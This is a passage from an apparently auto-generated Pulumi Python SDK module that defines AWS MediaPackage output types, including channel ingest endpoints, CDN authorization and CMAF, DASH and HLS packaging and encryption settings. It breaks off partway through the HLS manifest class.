'PackagingConfigurationCmafEncryption',
'PackagingConfigurationCmafPackage',
'PackagingConfigurationDashEncryption',
'PackagingConfigurationDashManifest',
'PackagingConfigurationDashPackage',
'PackagingConfigurationHlsEncryption',
'PackagingConfigurationHlsManifest',
'PackagingConfigurationHlsPackage',
'PackagingConfigurationMssEncryption',
'PackagingConfigurationMssManifest',
'PackagingConfigurationMssPackage',
'PackagingConfigurationSpekeKeyProvider',
'PackagingConfigurationStreamSelection',
'PackagingConfigurationTag',
'PackagingGroupAuthorization',
'PackagingGroupLogConfiguration',
'PackagingGroupTag',
]
@pulumi.output_type
class AssetEgressEndpoint(dict):
"""
The endpoint URL used to access an Asset using one PackagingConfiguration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "packagingConfigurationId":
suggest = "packaging_configuration_id"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in AssetEgressEndpoint. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
AssetEgressEndpoint.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
AssetEgressEndpoint.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
packaging_configuration_id: str,
url: str):
"""
The endpoint URL used to access an Asset using one PackagingConfiguration.
:param str packaging_configuration_id: The ID of the PackagingConfiguration being applied to the Asset.
:param str url: The URL of the parent manifest for the repackaged Asset.
"""
pulumi.set(__self__, "packaging_configuration_id", packaging_configuration_id)
pulumi.set(__self__, "url", url)
@property
@pulumi.getter(name="packagingConfigurationId")
def packaging_configuration_id(self) -> str:
"""
The ID of the PackagingConfiguration being applied to the Asset.
"""
return pulumi.get(self, "packaging_configuration_id")
@property
@pulumi.getter
def url(self) -> str:
"""
The URL of the parent manifest for the repackaged Asset.
"""
return pulumi.get(self, "url")
@pulumi.output_type
class AssetTag(dict):
def __init__(__self__, *,
key: str,
value: str):
pulumi.set(__self__, "key", key)
pulumi.set(__self__, "value", value)
@property
@pulumi.getter
def key(self) -> str:
return pulumi.get(self, "key")
@property
@pulumi.getter
def value(self) -> str:
return pulumi.get(self, "value")
@pulumi.output_type
class ChannelHlsIngest(dict):
"""
An HTTP Live Streaming (HLS) ingest resource configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "ingestEndpoints":
suggest = "ingest_endpoints"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ChannelHlsIngest. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ChannelHlsIngest.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ChannelHlsIngest.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
ingest_endpoints: Optional[Sequence['outputs.ChannelIngestEndpoint']] = None):
"""
An HTTP Live Streaming (HLS) ingest resource configuration.
:param Sequence['ChannelIngestEndpoint'] ingest_endpoints: A list of endpoints to which the source stream should be sent.
"""
if ingest_endpoints is not None:
pulumi.set(__self__, "ingest_endpoints", ingest_endpoints)
@property
@pulumi.getter(name="ingestEndpoints")
def ingest_endpoints(self) -> Optional[Sequence['outputs.ChannelIngestEndpoint']]:
"""
A list of endpoints to which the source stream should be sent.
"""
return pulumi.get(self, "ingest_endpoints")
@pulumi.output_type
class ChannelIngestEndpoint(dict):
"""
An endpoint for ingesting source content for a Channel.
"""
def __init__(__self__, *,
id: Optional[str] = None,
password: Optional[str] = None,
url: Optional[str] = None,
username: Optional[str] = None):
"""
An endpoint for ingesting source content for a Channel.
:param str id: The system generated unique identifier for the IngestEndpoint
:param str password: The system generated password for ingest authentication.
:param str url: The ingest URL to which the source stream should be sent.
:param str username: The system generated username for ingest authentication.
"""
if id is not None:
pulumi.set(__self__, "id", id)
if password is not None:
pulumi.set(__self__, "password", password)
if url is not None:
pulumi.set(__self__, "url", url)
if username is not None:
pulumi.set(__self__, "username", username)
@property
@pulumi.getter
def id(self) -> Optional[str]:
"""
The system generated unique identifier for the IngestEndpoint
"""
return pulumi.get(self, "id")
@property
@pulumi.getter
def password(self) -> Optional[str]:
"""
The system generated password for ingest authentication.
"""
return pulumi.get(self, "password")
@property
@pulumi.getter
def url(self) -> Optional[str]:
"""
The ingest URL to which the source stream should be sent.
"""
return pulumi.get(self, "url")
@property
@pulumi.getter
def username(self) -> Optional[str]:
"""
The system generated username for ingest authentication.
"""
return pulumi.get(self, "username")
@pulumi.output_type
class ChannelLogConfiguration(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "logGroupName":
suggest = "log_group_name"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ChannelLogConfiguration. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ChannelLogConfiguration.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ChannelLogConfiguration.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
log_group_name: Optional[str] = None):
"""
:param str log_group_name: Sets a custom AWS CloudWatch log group name for access logs. If a log group name isn't specified, the defaults are used: /aws/MediaPackage/EgressAccessLogs for egress access logs and /aws/MediaPackage/IngressAccessLogs for ingress access logs.
"""
if log_group_name is not None:
pulumi.set(__self__, "log_group_name", log_group_name)
@property
@pulumi.getter(name="logGroupName")
def log_group_name(self) -> Optional[str]:
"""
Sets a custom AWS CloudWatch log group name for access logs. If a log group name isn't specified, the defaults are used: /aws/MediaPackage/EgressAccessLogs for egress access logs and /aws/MediaPackage/IngressAccessLogs for ingress access logs.
"""
return pulumi.get(self, "log_group_name")
@pulumi.output_type
class ChannelTag(dict):
def __init__(__self__, *,
key: str,
value: str):
pulumi.set(__self__, "key", key)
pulumi.set(__self__, "value", value)
@property
@pulumi.getter
def key(self) -> str:
return pulumi.get(self, "key")
@property
@pulumi.getter
def value(self) -> str:
return pulumi.get(self, "value")
@pulumi.output_type
class OriginEndpointAuthorization(dict):
"""
CDN Authorization credentials
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "cdnIdentifierSecret":
suggest = "cdn_identifier_secret"
elif key == "secretsRoleArn":
suggest = "secrets_role_arn"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in OriginEndpointAuthorization. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
OriginEndpointAuthorization.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
OriginEndpointAuthorization.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
cdn_identifier_secret: str,
secrets_role_arn: str):
"""
CDN Authorization credentials
:param str cdn_identifier_secret: The Amazon Resource Name (ARN) for the secret in Secrets Manager that your Content Distribution Network (CDN) uses for authorization to access your endpoint.
:param str secrets_role_arn: The Amazon Resource Name (ARN) for the IAM role that allows MediaPackage to communicate with AWS Secrets Manager.
"""
pulumi.set(__self__, "cdn_identifier_secret", cdn_identifier_secret)
pulumi.set(__self__, "secrets_role_arn", secrets_role_arn)
@property
@pulumi.getter(name="cdnIdentifierSecret")
def cdn_identifier_secret(self) -> str:
"""
The Amazon Resource Name (ARN) for the secret in Secrets Manager that your Content Distribution Network (CDN) uses for authorization to access your endpoint.
"""
return pulumi.get(self, "cdn_identifier_secret")
@property
@pulumi.getter(name="secretsRoleArn")
def secrets_role_arn(self) -> str:
"""
The Amazon Resource Name (ARN) for the IAM role that allows MediaPackage to communicate with AWS Secrets Manager.
"""
return pulumi.get(self, "secrets_role_arn")
@pulumi.output_type
class OriginEndpointCmafEncryption(dict):
"""
A Common Media Application Format (CMAF) encryption configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "spekeKeyProvider":
suggest = "speke_key_provider"
elif key == "constantInitializationVector":
suggest = "constant_initialization_vector"
elif key == "keyRotationIntervalSeconds":
suggest = "key_rotation_interval_seconds"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in OriginEndpointCmafEncryption. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
OriginEndpointCmafEncryption.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
OriginEndpointCmafEncryption.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
speke_key_provider: 'outputs.OriginEndpointSpekeKeyProvider',
constant_initialization_vector: Optional[str] = None,
key_rotation_interval_seconds: Optional[int] = None):
"""
A Common Media Application Format (CMAF) encryption configuration.
:param str constant_initialization_vector: An optional 128-bit, 16-byte hex value represented by a 32-character string, used in conjunction with the key for encrypting blocks. If you don't specify a value, then MediaPackage creates the constant initialization vector (IV).
:param int key_rotation_interval_seconds: Time (in seconds) between each encryption key rotation.
"""
pulumi.set(__self__, "speke_key_provider", speke_key_provider)
if constant_initialization_vector is not None:
pulumi.set(__self__, "constant_initialization_vector", constant_initialization_vector)
if key_rotation_interval_seconds is not None:
pulumi.set(__self__, "key_rotation_interval_seconds", key_rotation_interval_seconds)
@property
@pulumi.getter(name="spekeKeyProvider")
def speke_key_provider(self) -> 'outputs.OriginEndpointSpekeKeyProvider':
return pulumi.get(self, "speke_key_provider")
@property
@pulumi.getter(name="constantInitializationVector")
def constant_initialization_vector(self) -> Optional[str]:
"""
An optional 128-bit, 16-byte hex value represented by a 32-character string, used in conjunction with the key for encrypting blocks. If you don't specify a value, then MediaPackage creates the constant initialization vector (IV).
"""
return pulumi.get(self, "constant_initialization_vector")
@property
@pulumi.getter(name="keyRotationIntervalSeconds")
def key_rotation_interval_seconds(self) -> Optional[int]:
"""
Time (in seconds) between each encryption key rotation.
"""
return pulumi.get(self, "key_rotation_interval_seconds")
@pulumi.output_type
class OriginEndpointCmafPackage(dict):
"""
A Common Media Application Format (CMAF) packaging configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "hlsManifests":
suggest = "hls_manifests"
elif key == "segmentDurationSeconds":
suggest = "segment_duration_seconds"
elif key == "segmentPrefix":
suggest = "segment_prefix"
elif key == "streamSelection":
suggest = "stream_selection"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in OriginEndpointCmafPackage. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
OriginEndpointCmafPackage.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
OriginEndpointCmafPackage.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
encryption: Optional['outputs.OriginEndpointCmafEncryption'] = None,
hls_manifests: Optional[Sequence['outputs.OriginEndpointHlsManifest']] = None,
segment_duration_seconds: Optional[int] = None,
segment_prefix: Optional[str] = None,
stream_selection: Optional['outputs.OriginEndpointStreamSelection'] = None):
"""
A Common Media Application Format (CMAF) packaging configuration.
:param Sequence['OriginEndpointHlsManifest'] hls_manifests: A list of HLS manifest configurations
:param int segment_duration_seconds: Duration (in seconds) of each segment. Actual segments will be rounded to the nearest multiple of the source segment duration.
:param str segment_prefix: An optional custom string that is prepended to the name of each segment. If not specified, it defaults to the ChannelId.
"""
if encryption is not None:
pulumi.set(__self__, "encryption", encryption)
if hls_manifests is not None:
pulumi.set(__self__, "hls_manifests", hls_manifests)
if segment_duration_seconds is not None:
pulumi.set(__self__, "segment_duration_seconds", segment_duration_seconds)
if segment_prefix is not None:
pulumi.set(__self__, "segment_prefix", segment_prefix)
if stream_selection is not None:
pulumi.set(__self__, "stream_selection", stream_selection)
@property
@pulumi.getter
def encryption(self) -> Optional['outputs.OriginEndpointCmafEncryption']:
return pulumi.get(self, "encryption")
@property
@pulumi.getter(name="hlsManifests")
def hls_manifests(self) -> Optional[Sequence['outputs.OriginEndpointHlsManifest']]:
"""
A list of HLS manifest configurations
"""
return pulumi.get(self, "hls_manifests")
@property
@pulumi.getter(name="segmentDurationSeconds")
def segment_duration_seconds(self) -> Optional[int]:
"""
Duration (in seconds) of each segment. Actual segments will be rounded to the nearest multiple of the source segment duration.
"""
return pulumi.get(self, "segment_duration_seconds")
@property
@pulumi.getter(name="segmentPrefix")
def segment_prefix(self) -> Optional[str]:
"""
An optional custom string that is prepended to the name of each segment. If not specified, it defaults to the ChannelId.
"""
return pulumi.get(self, "segment_prefix")
@property
@pulumi.getter(name="streamSelection")
def stream_selection(self) -> Optional['outputs.OriginEndpointStreamSelection']:
return pulumi.get(self, "stream_selection")
@pulumi.output_type
class OriginEndpointDashEncryption(dict):
"""
A Dynamic Adaptive Streaming over HTTP (DASH) encryption configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "spekeKeyProvider":
suggest = "speke_key_provider"
elif key == "keyRotationIntervalSeconds":
suggest = "key_rotation_interval_seconds"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in OriginEndpointDashEncryption. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
OriginEndpointDashEncryption.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
OriginEndpointDashEncryption.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
speke_key_provider: 'outputs.OriginEndpointSpekeKeyProvider',
key_rotation_interval_seconds: Optional[int] = None):
"""
A Dynamic Adaptive Streaming over HTTP (DASH) encryption configuration.
:param int key_rotation_interval_seconds: Time (in seconds) between each encryption key rotation.
"""
pulumi.set(__self__, "speke_key_provider", speke_key_provider)
if key_rotation_interval_seconds is not None:
pulumi.set(__self__, "key_rotation_interval_seconds", key_rotation_interval_seconds)
@property
@pulumi.getter(name="spekeKeyProvider")
def speke_key_provider(self) -> 'outputs.OriginEndpointSpekeKeyProvider':
return pulumi.get(self, "speke_key_provider")
@property
@pulumi.getter(name="keyRotationIntervalSeconds")
def key_rotation_interval_seconds(self) -> Optional[int]:
"""
Time (in seconds) between each encryption key rotation.
"""
return pulumi.get(self, "key_rotation_interval_seconds")
@pulumi.output_type
class OriginEndpointDashPackage(dict):
"""
A Dynamic Adaptive Streaming over HTTP (DASH) packaging configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "adTriggers":
suggest = "ad_triggers"
elif key == "adsOnDeliveryRestrictions":
suggest = "ads_on_delivery_restrictions"
elif key == "manifestLayout":
suggest = "manifest_layout"
elif key == "manifestWindowSeconds":
suggest = "manifest_window_seconds"
elif key == "minBufferTimeSeconds":
suggest = "min_buffer_time_seconds"
elif key == "minUpdatePeriodSeconds":
suggest = "min_update_period_seconds"
elif key == "periodTriggers":
suggest = "period_triggers"
elif key == "segmentDurationSeconds":
suggest = "segment_duration_seconds"
elif key == "segmentTemplateFormat":
suggest = "segment_template_format"
elif key == "streamSelection":
suggest = "stream_selection"
elif key == "suggestedPresentationDelaySeconds":
suggest = "suggested_presentation_delay_seconds"
elif key == "utcTiming":
suggest = "utc_timing"
elif key == "utcTimingUri":
suggest = "utc_timing_uri"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in OriginEndpointDashPackage. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
OriginEndpointDashPackage.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
OriginEndpointDashPackage.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
ad_triggers: Optional[Sequence['OriginEndpointDashPackageAdTriggersItem']] = None,
ads_on_delivery_restrictions: Optional['OriginEndpointAdsOnDeliveryRestrictions'] = None,
encryption: Optional['outputs.OriginEndpointDashEncryption'] = None,
manifest_layout: Optional['OriginEndpointDashPackageManifestLayout'] = None,
manifest_window_seconds: Optional[int] = None,
min_buffer_time_seconds: Optional[int] = None,
min_update_period_seconds: Optional[int] = None,
period_triggers: Optional[Sequence['OriginEndpointDashPackagePeriodTriggersItem']] = None,
profile: Optional['OriginEndpointDashPackageProfile'] = None,
segment_duration_seconds: Optional[int] = None,
segment_template_format: Optional['OriginEndpointDashPackageSegmentTemplateFormat'] = None,
stream_selection: Optional['outputs.OriginEndpointStreamSelection'] = None,
suggested_presentation_delay_seconds: Optional[int] = None,
utc_timing: Optional['OriginEndpointDashPackageUtcTiming'] = None,
utc_timing_uri: Optional[str] = None):
"""
A Dynamic Adaptive Streaming over HTTP (DASH) packaging configuration.
:param Sequence['OriginEndpointDashPackageAdTriggersItem'] ad_triggers: A list of SCTE-35 message types that are treated as ad markers in the output. If empty, no ad markers are output. Specify multiple items to create ad markers for all of the included message types.
:param 'OriginEndpointDashPackageManifestLayout' manifest_layout: Determines the position of some tags in the Media Presentation Description (MPD). When set to FULL, elements like SegmentTemplate and ContentProtection are included in each Representation. When set to COMPACT, duplicate elements are combined and presented at the AdaptationSet level.
:param int manifest_window_seconds: Time window (in seconds) contained in each manifest.
:param int min_buffer_time_seconds: Minimum duration (in seconds) that a player will buffer media before starting the presentation.
:param int min_update_period_seconds: Minimum duration (in seconds) between potential changes to the Dynamic Adaptive Streaming over HTTP (DASH) Media Presentation Description (MPD).
:param Sequence['OriginEndpointDashPackagePeriodTriggersItem'] period_triggers: A list of triggers that controls when the outgoing Dynamic Adaptive Streaming over HTTP (DASH) Media Presentation Description (MPD) will be partitioned into multiple periods. If empty, the content will not be partitioned into more than one period. If the list contains "ADS", new periods will be created where the Channel source contains SCTE-35 ad markers.
:param 'OriginEndpointDashPackageProfile' profile: The Dynamic Adaptive Streaming over HTTP (DASH) profile type. When set to "HBBTV_1_5", HbbTV 1.5 compliant output is enabled.
:param int segment_duration_seconds: Duration (in seconds) of each segment. Actual segments will be rounded to the nearest multiple of the source segment duration.
:param 'OriginEndpointDashPackageSegmentTemplateFormat' segment_template_format: Determines the type of SegmentTemplate included in the Media Presentation Description (MPD). When set to NUMBER_WITH_TIMELINE, a full timeline is presented in each SegmentTemplate, with $Number$ media URLs. When set to TIME_WITH_TIMELINE, a full timeline is presented in each SegmentTemplate, with $Time$ media URLs. When set to NUMBER_WITH_DURATION, only a duration is included in each SegmentTemplate, with $Number$ media URLs.
:param int suggested_presentation_delay_seconds: Duration (in seconds) to delay live content before presentation.
:param 'OriginEndpointDashPackageUtcTiming' utc_timing: Determines the type of UTCTiming included in the Media Presentation Description (MPD)
:param str utc_timing_uri: Specifies the value attribute of the UTCTiming field when utcTiming is set to HTTP-ISO or HTTP-HEAD
"""
if ad_triggers is not None:
pulumi.set(__self__, "ad_triggers", ad_triggers)
if ads_on_delivery_restrictions is not None:
pulumi.set(__self__, "ads_on_delivery_restrictions", ads_on_delivery_restrictions)
if encryption is not None:
pulumi.set(__self__, "encryption", encryption)
if manifest_layout is not None:
pulumi.set(__self__, "manifest_layout", manifest_layout)
if manifest_window_seconds is not None:
pulumi.set(__self__, "manifest_window_seconds", manifest_window_seconds)
if min_buffer_time_seconds is not None:
pulumi.set(__self__, "min_buffer_time_seconds", min_buffer_time_seconds)
if min_update_period_seconds is not None:
pulumi.set(__self__, "min_update_period_seconds", min_update_period_seconds)
if period_triggers is not None:
pulumi.set(__self__, "period_triggers", period_triggers)
if profile is not None:
pulumi.set(__self__, "profile", profile)
if segment_duration_seconds is not None:
pulumi.set(__self__, "segment_duration_seconds", segment_duration_seconds)
if segment_template_format is not None:
pulumi.set(__self__, "segment_template_format", segment_template_format)
if stream_selection is not None:
pulumi.set(__self__, "stream_selection", stream_selection)
if suggested_presentation_delay_seconds is not None:
pulumi.set(__self__, "suggested_presentation_delay_seconds", suggested_presentation_delay_seconds)
if utc_timing is not None:
pulumi.set(__self__, "utc_timing", utc_timing)
if utc_timing_uri is not None:
pulumi.set(__self__, "utc_timing_uri", utc_timing_uri)
@property
@pulumi.getter(name="adTriggers")
def ad_triggers(self) -> Optional[Sequence['OriginEndpointDashPackageAdTriggersItem']]:
"""
A list of SCTE-35 message types that are treated as ad markers in the output. If empty, no ad markers are output. Specify multiple items to create ad markers for all of the included message types.
"""
return pulumi.get(self, "ad_triggers")
@property
@pulumi.getter(name="adsOnDeliveryRestrictions")
def ads_on_delivery_restrictions(self) -> Optional['OriginEndpointAdsOnDeliveryRestrictions']:
return pulumi.get(self, "ads_on_delivery_restrictions")
@property
@pulumi.getter
def encryption(self) -> Optional['outputs.OriginEndpointDashEncryption']:
return pulumi.get(self, "encryption")
@property
@pulumi.getter(name="manifestLayout")
def manifest_layout(self) -> Optional['OriginEndpointDashPackageManifestLayout']:
"""
Determines the position of some tags in the Media Presentation Description (MPD). When set to FULL, elements like SegmentTemplate and ContentProtection are included in each Representation. When set to COMPACT, duplicate elements are combined and presented at the AdaptationSet level.
"""
return pulumi.get(self, "manifest_layout")
@property
@pulumi.getter(name="manifestWindowSeconds")
def manifest_window_seconds(self) -> Optional[int]:
"""
Time window (in seconds) contained in each manifest.
"""
return pulumi.get(self, "manifest_window_seconds")
@property
@pulumi.getter(name="minBufferTimeSeconds")
def min_buffer_time_seconds(self) -> Optional[int]:
"""
Minimum duration (in seconds) that a player will buffer media before starting the presentation.
"""
return pulumi.get(self, "min_buffer_time_seconds")
@property
@pulumi.getter(name="minUpdatePeriodSeconds")
def min_update_period_seconds(self) -> Optional[int]:
"""
Minimum duration (in seconds) between potential changes to the Dynamic Adaptive Streaming over HTTP (DASH) Media Presentation Description (MPD).
"""
return pulumi.get(self, "min_update_period_seconds")
@property
@pulumi.getter(name="periodTriggers")
def period_triggers(self) -> Optional[Sequence['OriginEndpointDashPackagePeriodTriggersItem']]:
"""
A list of triggers that controls when the outgoing Dynamic Adaptive Streaming over HTTP (DASH) Media Presentation Description (MPD) will be partitioned into multiple periods. If empty, the content will not be partitioned into more than one period. If the list contains "ADS", new periods will be created where the Channel source contains SCTE-35 ad markers.
"""
return pulumi.get(self, "period_triggers")
@property
@pulumi.getter
def profile(self) -> Optional['OriginEndpointDashPackageProfile']:
"""
The Dynamic Adaptive Streaming over HTTP (DASH) profile type. When set to "HBBTV_1_5", HbbTV 1.5 compliant output is enabled.
"""
return pulumi.get(self, "profile")
@property
@pulumi.getter(name="segmentDurationSeconds")
def segment_duration_seconds(self) -> Optional[int]:
"""
Duration (in seconds) of each segment. Actual segments will be rounded to the nearest multiple of the source segment duration.
"""
return pulumi.get(self, "segment_duration_seconds")
@property
@pulumi.getter(name="segmentTemplateFormat")
def segment_template_format(self) -> Optional['OriginEndpointDashPackageSegmentTemplateFormat']:
"""
Determines the type of SegmentTemplate included in the Media Presentation Description (MPD). When set to NUMBER_WITH_TIMELINE, a full timeline is presented in each SegmentTemplate, with $Number$ media URLs. When set to TIME_WITH_TIMELINE, a full timeline is presented in each SegmentTemplate, with $Time$ media URLs. When set to NUMBER_WITH_DURATION, only a duration is included in each SegmentTemplate, with $Number$ media URLs.
"""
return pulumi.get(self, "segment_template_format")
@property
@pulumi.getter(name="streamSelection")
def stream_selection(self) -> Optional['outputs.OriginEndpointStreamSelection']:
return pulumi.get(self, "stream_selection")
@property
@pulumi.getter(name="suggestedPresentationDelaySeconds")
def suggested_presentation_delay_seconds(self) -> Optional[int]:
"""
Duration (in seconds) to delay live content before presentation.
"""
return pulumi.get(self, "suggested_presentation_delay_seconds")
@property
@pulumi.getter(name="utcTiming")
def utc_timing(self) -> Optional['OriginEndpointDashPackageUtcTiming']:
"""
Determines the type of UTCTiming included in the Media Presentation Description (MPD)
"""
return pulumi.get(self, "utc_timing")
@property
@pulumi.getter(name="utcTimingUri")
def utc_timing_uri(self) -> Optional[str]:
"""
Specifies the value attribute of the UTCTiming field when utcTiming is set to HTTP-ISO or HTTP-HEAD
"""
return pulumi.get(self, "utc_timing_uri")
@pulumi.output_type
class OriginEndpointHlsEncryption(dict):
"""
An HTTP Live Streaming (HLS) encryption configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "spekeKeyProvider":
suggest = "speke_key_provider"
elif key == "constantInitializationVector":
suggest = "constant_initialization_vector"
elif key == "encryptionMethod":
suggest = "encryption_method"
elif key == "keyRotationIntervalSeconds":
suggest = "key_rotation_interval_seconds"
elif key == "repeatExtXKey":
suggest = "repeat_ext_x_key"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in OriginEndpointHlsEncryption. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
OriginEndpointHlsEncryption.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
OriginEndpointHlsEncryption.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
speke_key_provider: 'outputs.OriginEndpointSpekeKeyProvider',
constant_initialization_vector: Optional[str] = None,
encryption_method: Optional['OriginEndpointHlsEncryptionEncryptionMethod'] = None,
key_rotation_interval_seconds: Optional[int] = None,
repeat_ext_x_key: Optional[bool] = None):
"""
An HTTP Live Streaming (HLS) encryption configuration.
:param str constant_initialization_vector: A constant initialization vector for encryption (optional). When not specified the initialization vector will be periodically rotated.
:param 'OriginEndpointHlsEncryptionEncryptionMethod' encryption_method: The encryption method to use.
:param int key_rotation_interval_seconds: Interval (in seconds) between each encryption key rotation.
:param bool repeat_ext_x_key: When enabled, the EXT-X-KEY tag will be repeated in output manifests.
"""
pulumi.set(__self__, "speke_key_provider", speke_key_provider)
if constant_initialization_vector is not None:
pulumi.set(__self__, "constant_initialization_vector", constant_initialization_vector)
if encryption_method is not None:
pulumi.set(__self__, "encryption_method", encryption_method)
if key_rotation_interval_seconds is not None:
pulumi.set(__self__, "key_rotation_interval_seconds", key_rotation_interval_seconds)
if repeat_ext_x_key is not None:
pulumi.set(__self__, "repeat_ext_x_key", repeat_ext_x_key)
@property
@pulumi.getter(name="spekeKeyProvider")
def speke_key_provider(self) -> 'outputs.OriginEndpointSpekeKeyProvider':
return pulumi.get(self, "speke_key_provider")
@property
@pulumi.getter(name="constantInitializationVector")
def constant_initialization_vector(self) -> Optional[str]:
"""
A constant initialization vector for encryption (optional). When not specified the initialization vector will be periodically rotated.
"""
return pulumi.get(self, "constant_initialization_vector")
@property
@pulumi.getter(name="encryptionMethod")
def encryption_method(self) -> Optional['OriginEndpointHlsEncryptionEncryptionMethod']:
"""
The encryption method to use.
"""
return pulumi.get(self, "encryption_method")
@property
@pulumi.getter(name="keyRotationIntervalSeconds")
def key_rotation_interval_seconds(self) -> Optional[int]:
"""
Interval (in seconds) between each encryption key rotation.
"""
return pulumi.get(self, "key_rotation_interval_seconds")
@property
@pulumi.getter(name="repeatExtXKey")
def repeat_ext_x_key(self) -> Optional[bool]:
"""
When enabled, the EXT-X-KEY tag will be repeated in output manifests.
"""
return pulumi.get(self, "repeat_ext_x_key")
@pulumi.output_type
class OriginEndpointHlsManifest(dict):
"""
A HTTP Live Streaming (HLS) manifest configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "adMarkers":
suggest = "ad_markers"
elif key == "adTriggers":
suggest = "ad_triggers"
elif key == "adsOnDeliveryRestrictions":
suggest = "ads_on_delivery_restrictions"
elif key == "includeIframeOnlyStream":
suggest = "include_iframe_only_stream"
elif key == "manifestName":
suggest = "manifest_name"
elif key == "playlistType":
suggest = "playlist_type"
elif key == "playlistWindowSeconds":
suggest = "playlist_window_seconds"
elif key == "programDateTimeIntervalSeconds":
suggest = "program_date_time_interval_seconds"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in OriginEndpointHlsManifest. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
OriginEndpointHlsManifest.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
OriginEndpointHlsManifest.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
id: str,
ad_markers: Optional['OriginEndpointHlsManifestAdMarkers'] = None,
ad_triggers: Optional[Sequence['OriginEndpointHlsManifestAdTriggersItem']] = None,
ads_on_delivery_restrictions: Optional['OriginEndpointAdsOnDeliveryRestrictions'] = None,
include_iframe_only_stream: Optional[bool] = None,
manifest_name: Optional[str] = None,
playlist_type: Optional['OriginEndpointHlsManifestPlaylistType'] = None,
playlist_window_seconds: Optional[int] = None,
program_date_time_interval_seconds: Optional[int] = None,
url: Optional[str] = None):
"""
A HTTP Live Streaming (HLS) manifest configuration.
:param str id: The ID of the manifest. The ID must be unique within the OriginEndpoint and it cannot be changed after it is created.
:param 'OriginEndpointHlsManifestAdMarkers' ad_markers: This setting controls how ad markers are included in the packaged OriginEndpoint. "NONE" will omit all SCTE-35 ad markers from the output. "PASSTHROUGH" causes the manifest to contain a copy of the SCTE-35 ad markers (comments) taken directly from the input HTTP Live Streaming (HLS) manifest. "SCTE35_ENHANCED" generates ad markers and blackout tags based on SCTE-35 messages in the input source. "DATERANGE" inserts EXT-X-DATERANGE tags to signal ad and program transition events in HLS and CMAF manifests. For this option, you must set a programDateTimeIntervalSeconds value that is greater than 0.
:param Sequence['OriginEndpointHlsManifestAdTriggersItem'] ad_triggers: A list of SCTE-35 message types that are treated as ad markers in the output. If empty, no ad markers are output. Specify multiple items to create ad markers for all of the included message types.
:param bool include_iframe_only_stream: When enabled, an I-Frame only stream will be included in the output.
:param str manifest_name: An optional short string appended to the end of the OriginEndpoint URL. If not specified, defaults to the manifestName for the OriginEndpoint.
:param 'OriginEndpointHlsManifestPlaylistType' playlist_type: The HTTP Live Streaming (HLS) playlist type. When either "EVENT" or "VOD" is specified, a corresponding EXT-X-PLAYLIST-TYPE entry will be included in the media playlist.
:param int playlist_window_seconds: Time window (in seconds) contained in each parent manifest.
:param int program_date_time_interval_seconds: The interval (in seconds) between each EXT-X-PROGRAM-DATE-TIME tag inserted into manifests. Additionally, when an interval is specified ID3Timed Metadata messages will be generated every 5 seconds using the ingest time of the content. If the interval is not specified, or set to 0, then no EXT-X-PROGRAM-DATE-TIME tags will be inserted into manifests and no ID3Timed Metadata messages will be generated. Note that irrespective of this parameter, if any ID3 Timed Metadata is found in HTTP Live Streaming (HLS) input, it will be passed through to HLS output.
:param str url: The URL of the packaged OriginEndpoint for consumption.
"""
pulumi.set(__self__, "id", id)
if ad_markers is not None:
pulumi.set(__self__, "ad_markers", ad_markers)
if ad_triggers is not None:
pulumi.set(__self__, "ad_triggers", ad_triggers)
if ads_on_delivery_restrictions is not None:
